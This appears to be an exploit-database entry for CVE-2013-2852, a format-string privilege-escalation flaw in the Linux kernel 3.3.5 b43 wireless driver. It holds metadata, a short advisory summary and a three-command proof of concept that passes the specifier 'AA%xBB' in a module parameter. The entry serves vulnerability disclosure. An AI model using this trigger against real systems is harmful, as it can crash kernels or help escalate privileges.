Linux Kernel 3.3.5 - 'b43' Wireless Driver Privilege Escalation
Author: Kees Cook
type: local
platform: linux
port:
date_added: 2013-06-07
date_updated: 2015-10-29
verified: 1
codes: CVE-2013-2852;OSVDB-94034
tags:
aliases:
screenshot_url:
application_url:
source: https://www.securityfocus.com/bid/60410/info
Linux kernel is prone to a local privilege-escalation vulnerability.
Local attackers can exploit the issue to execute arbitrary code with kernel privileges or to crash the kernel, effectively denying service to legitimate users.
# rmmod b43
# modprobe b43 fwpostfix=AA%xBB
# dmesg